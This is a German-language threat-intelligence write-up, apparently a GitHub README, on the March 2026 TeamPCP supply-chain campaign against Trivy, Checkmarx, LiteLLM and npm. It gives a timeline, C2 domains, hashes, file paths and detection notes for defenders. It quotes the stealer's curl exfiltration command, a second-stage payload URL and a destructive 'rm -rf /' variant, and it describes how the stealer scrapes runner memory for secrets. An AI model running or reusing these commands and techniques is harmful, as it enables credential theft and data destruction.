
CVE-2026-33634 (CVSS 9.4) — Der bisher folgenreichste CI/CD-Supply-Chain-Angriff des Jahres 2026.
CVE-2026-33634 (CVSS 9.4) — Der bisher folgenreichste CI/CD-Supply-Chain-Angriff des Jahres 2026.
Zwischen dem 19. und 25. März 2026 führte der Bedrohungsakteur TeamPCP (auch bekannt als DeadCatx3, PCPcat, ShellForce, CanisterWorm) eine kaskadenartige Supply-Chain-Kompromittierung über fünf Ökosysteme aus: GitHub Actions, Docker Hub, OpenVSX, npm und PyPI. Ausgehend von einem einzigen unvollständig rotierten GitHub-PAT breitete sich die Kampagne über zwei große Open-Source-Sicherheitsanbieter (Aqua Security und Checkmarx), vier GitHub-Actions-Repositories, zwei VS-Code-Erweiterungen, Container-Registries und 66+ npm-Pakete aus.
Dieses Repository bietet eine vollständige technische Aufschlüsselung, kuratierte IOC-Listen (FP-getestet) und sofort einsetzbare Erkennungsabfragen für Microsoft Defender XDR.
Grundursache: unvollständige Credential-Rotation nach dem Vorfall vom 28. Februar. Das PAT des Dienstkontos aqua-bot wurde entweder nicht widerrufen, oder der Angreifer hat das neue Token während der Rotation beobachtet.
TeamPCP nutzte diesen verbleibenden Zugriff, um Versionstags per Force-Push auf bösartige Impostor-Commits zu setzen. Jeder gefälschte Commit übernahm die Metadaten des Originals (Autor, Zeitstempel, Nachricht), während das Einstiegspunkt-Skript durch das Stealer-Payload ersetzt wurde. Die GitHub-Release-Seite zeigte keine sichtbare Veränderung — sogar das Abzeichen „Immutable“ wurde normal angezeigt.
Der Stealer — ein 204-zeiliges entrypoint.sh, das sich selbst als „TeamPCP Cloud stealer“ identifiziert — führt einen dreistufigen Angriff aus:
Stufe 1: Speicher-Scraping
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory
Stufe 2: Dateisystem-Credential-Sweep
Durchsucht 50+ sensible Pfade, darunter:
~/.ssh/*)~/.npmrc).env-DateienStufe 3: Verschlüsselte Exfiltration
tpcp.tar.gzcurl POST an anbieterspezifische Typosquat-DomainsGITHUB_TOKEN ein Repo tpcp-docs oder docs-tpcp im GitHub-Konto des OpfersAuf Linux-Systemen außerhalb von CI führt die Malware Folgendes aus:
~/.config/sysmon/sysmon.py)Gestohlene Anmeldeinformationen aus der Trivy-Welle ermöglichten die Kompromittierung des Checkmarx-Ökosystems. Jede neue Welle nutzte eine andere Typosquat-C2-Domain, um Blocklisten der vorherigen Welle zu umgehen:
| Welle | C2-Domain | Typosquat von |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org | aquasecurity.org |
| Erweiterung | Bösartige Version | Sichere Version |
|---|---|---|
checkmarx.ast-results | 2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist | 1.7.0 | >= 1.10.0 |
Beide Erweiterungen wurden am 23. März um 12:53 UTC im Abstand von 12 Sekunden über das Konto ast-phoenix veröffentlicht. Bei Aktivierung prüft environmentAuthChecker.js auf Anmeldeinformationen von Cloud-Anbietern und lädt anschließend einen Stealer der zweiten Stufe von checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.
| Image | Bösartige Tags |
|---|---|
docker.io/aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
| Paket | Versionen | Hintertür-Datei |
|---|---|---|
litellm | 1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
Dreifach verschachteltes Base64-Payload mit K8s-Toolkit für laterale Bewegung. Persistenz über sysmon.service, das checkmarx.zone/raw abfragt.
Das Exfiltrationsmuster ist über alle Wellen hinweg identisch:
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
Die Typosquat-Domain-Strategie ist bewusst gewählt: Ein Analyst, der CI/CD-Logs prüft, sieht curl-Verkehr zur vermeintlich eigenen Anbieterdomain der Action. Ohne sorgfältigen Vergleich geht scan.aquasecurtiy.org bei einer schnellen Log-Prüfung als aquasecurity.org durch.
Nur der Angreifer kann gestohlene Daten entschlüsseln — der AES-Session-Key ist mit seinem öffentlichen Schlüssel per RSA-OAEP verschlüsselt.
Innerhalb von 24 Stunden nach der Trivy-Kompromittierung ermöglichten gestohlene npm-Tokens einen sich selbst verbreitenden Wurm über 66+ Pakete (141 bösartige Artefakte).
Was CanisterWorm bemerkenswert macht:
tdtqy-oyaaa-aaaae-af2dq-cai ist ein dezentraler Smart Contract — kein einzelner Abschaltpunktget_latest_link, http_request, update_linkyoutube.com zurückgibt, schläft die Hintertürpgmon (PostgreSQL-Überwachung) tarnt/tmp/pglog gelegt, Status in /tmp/.pg_state verfolgtBekannte kompromittierte Scopes: @emilgroup/*, @teale.io/* (selbstverbreitende Variante in @teale.io/eslint-config v1.8.11, v1.8.12)
Eine destruktive Variante zielt gezielt auf iranische Systeme:
kamikazerm -rf / --no-preserve-root mit sudo ausDie Erkennung erfolgt über Systemzeitzonen- und Locale-Prüfungen.
Regelname: TeamPCP Supply Chain C2 and Malware IOC Match
Schweregrad: Hoch
Kategorie: CommandAndControl
Häufigkeit: Alle 1 Stunde
Siehe detection/defender_xdr_query.kql für die vollständige KQL-Abfrage.
Die Abfrage umfasst:
Eine importfertige CSV-Datei wird unter iocs/FINAL_TeamPCP_IOC_25Mar2026.csv bereitgestellt. Diese Datei wurde in einer Produktionsumgebung eines Unternehmens auf False Positives (FP) getestet.
| Plattform | Erkennung |
|---|---|
| Palo Alto Cortex XDR | Regel ioc.linux.shaihulud.2 — Credential-Zugriff auf GitHub-Action-Runnern |
| Sysdig/Falco | Contact EC2 Instance Metadata Service From Container, , |
| URL | Funktion |
|---|---|
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz | Download des Payloads der zweiten Stufe |
| Name | Welle |
|---|---|
tpcp-docs | Trivy |
docs-tpcp | Checkmarx |
Die Erkennungsabfragen und die IOC-CSV in diesem Repo wurden in einer Produktionsumgebung getestet, auf der Folgendes läuft:
Die folgenden IOCs wurden aufgrund bestätigter False Positives entfernt:
MIT — Frei verwenden, teilen und anpassen. Namensnennung erwünscht.
Autor: Ugur Can Ates — SOC-Teamleiter & Senior Security Engineer
Zuletzt aktualisiert: 25. März 2026
| Datum (UTC) | Ereignis |
|---|
| 20. Feb. 2026 | Konto hackerbot-claw erstellt; beginnt mit dem Scannen von Repos nach ausnutzbaren pull_request_target-Workflows |
| 28. Feb. 2026 | Erste Trivy-Kompromittierung über PWN-Request; Anmeldeinformationen exfiltriert |
| 1. März 2026 | Aqua Security versucht Eindämmung — Credential-Rotation unvollständig |
| 19. März, 17:43 | Hauptschlag: TeamPCP pusht per Force-Push 75/76 Tags in aquasecurity/trivy-action + alle 7 Tags in setup-trivy über das kompromittierte Dienstkonto aqua-bot |
| 19. März, 18:22 | Hintertür-Version von Trivy v0.69.4 auf GitHub Releases, Docker Hub, GHCR, ECR veröffentlicht |
| 20. März, 05:40 | Kompromittierungsfenster von trivy-action schließt (~12 Stunden) |
| 20. März, 20:45 | CanisterWorm bei der Verbreitung über npm erkannt — 47+ Pakete kompromittiert |
| 22. März, 20:31 | TeamPCP verunstaltet alle 44 Repos in der GitHub-Organisation aquasec-com in einem skriptgesteuerten 2-Minuten-Burst |
| 22. März | Docker-Hub-Images 0.69.5 und 0.69.6 mit demselben Stealer-Payload gepusht |
| 23. März, 02:53 | Checkmarx-Welle beginnt: Bösartige ast-results v2.53.0 und cx-dev-assist v1.7.0 über das Konto ast-phoenix auf OpenVSX veröffentlicht |
| 23. März, 12:58 | Alle 35 Tags von Checkmarx/kics-github-action per Force-Push über das kompromittierte Konto cx-plugins-releases gepusht |
| 23. März, 15:41 | Checkmarx meldet OpenVSX-Problem als behoben |
| 23. März, 16:50 | KICS GitHub Action nach Nutzermeldung vom Netz genommen |
| 23. März, 22:25 | Sysdig meldet, dass Checkmarx/ast-github-action v2.3.28 ebenfalls kompromittiert ist |
| 24. März, 08:30 | LiteLLM-Welle: Trojanisierte litellm v1.82.7 und v1.82.8 mit gestohlenen Anmeldeinformationen auf PyPI veröffentlicht |
| 24. März, 11:25 | PyPI stellt bösartige LiteLLM-Versionen unter Quarantäne |
| Checkmarx/KICS | checkmarx[.]zone | checkmarx.com |
| LiteLLM | models.litellm[.]cloud | litellm.ai |
| Repository | Kompromittierte Tags | Offenlegungsfenster (UTC) | Einstiegspunkt |
|---|
aquasecurity/trivy-action | 75 von 76 (sicher: 0.35.0) | 19. März 17:43 – 20. März 05:40 | entrypoint.sh |
aquasecurity/setup-trivy | Alle 7 Tags | 19. März 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action | Alle 35 Tags | 23. März 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action | v2.3.28 (vermutlich alle) | 23. März ~22:25+ | setup.sh |
Curl Exfiltrating FileExfiltration of AWS IMDS Credentials Using LOTL Binary| Hash | Beschreibung | Quelle |
|---|
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a | Bösartiges entrypoint.sh von Trivy | Phoenix Security |
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926 | CanisterWorm Welle 4 — endgültige Form | Aikido Security |
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a | CanisterWorm Welle 3 — selbstverbreitender Test | Aikido Security |
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba | CanisterWorm Welle 2 — bewaffnete ICP-Hintertür | Aikido Security |
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152 | CanisterWorm Welle 1 — deploy.js | Aikido Security |
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7 | CanisterWorm Welle 2 — deploy.js | Aikido Security |
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956 | CanisterWorm Welle 3+ — deploy.js minifiziert | Aikido Security |
| Indikator | Typ | Zweck |
|---|
83.142.209.11 | IP | C2-Server (checkmarx.zone) |
45.148.10.212 | IP | C2-Server (scan.aquasecurtiy.org) |
checkmarx[.]zone | Domain | C2 — Checkmarx/KICS/LiteLLM-Welle |
scan.aquasecurtiy[.]org | Domain | C2 — Trivy-Welle |
models.litellm[.]cloud | Domain | C2 — LiteLLM-PyPI-Welle |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io | Domain | ICP-Canister-Dead-Drop-C2 |
checkmarx[.]zone/vsx |
| Exfiltrations-Endpunkt |
checkmarx[.]zone/raw | Persistenz-Abfrage (50 Min.) |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/ | ICP-Canister-C2 |
| Pfad | Zweck |
|---|
~/.config/sysmon/ | Hintertür-Verzeichnis |
~/.config/sysmon.py | Python-Hintertür |
~/.config/systemd/user/sysmon.service | Systemd-Persistenz |
~/.config/systemd/user/pgmon.service | CanisterWorm-Persistenz (PostgreSQL-Tarnung) |
/tmp/pglog | Heruntergeladene Binärdatei |
/tmp/.pg_state | C2-Abfragestatus |
| IOC | FP-Quelle |
|---|
setup.sh (Dateiname) | Ansible-Collections, Claude-Code-Plugin-Cache, Bitnami-Skripte |
service.py (Dateiname) | Ansible module_utils, protobuf, boto3, FreeIPA, K8s-Core |
deploy.js (Dateiname) | Standard-npm/node-Datei |
169.254.169.254 (IMDS-IP) | FortiMonitor-Agent, Oracle AHF — legitime Überwachung |
icp0.io (Parent-Domain) | Zu weit gefasst, erfasst legitimen ICP-Verkehr |
hooks.slack.com (Befehlszeile) | Legitime Slack-Integrationen |
discord.com/api/webhooks (Befehlszeile) | Legitime Discord-Integrationen |
| Technik | ID | Kontext |
|---|
| Supply Chain Compromise: Software Dependencies | T1195.002 | GitHub-Actions-Tag-Poisoning, OpenVSX, npm, PyPI |
| Unsecured Credentials: Cloud Instance Metadata API | T1552.005 | AWS-IMDS-Diebstahl von CI-Runnern |
| Credentials from Password Stores | T1555 | Dateisystem-Credential-Sweep (50+ Pfade) |
| OS Credential Dumping | T1003 | Runner.Worker /proc/mem-Scraping |
| Exfiltration Over C2 Channel | T1041 | Verschlüsseltes tpcp.tar.gz an Typosquat-Domains |
| Web Service | T1102 | ICP-Canister-Dead-Drop-C2 |
| Systemd Service | T1543.002 | pgmon.service, sysmon.service-Persistenz |
| Ingress Tool Transfer | T1105 | Download von checkmarx-util-1.0.4.tgz |
| Acquire Infrastructure: Domains | T1583.001 | Typosquat-Domains pro Welle |
| Quelle | Link |
|---|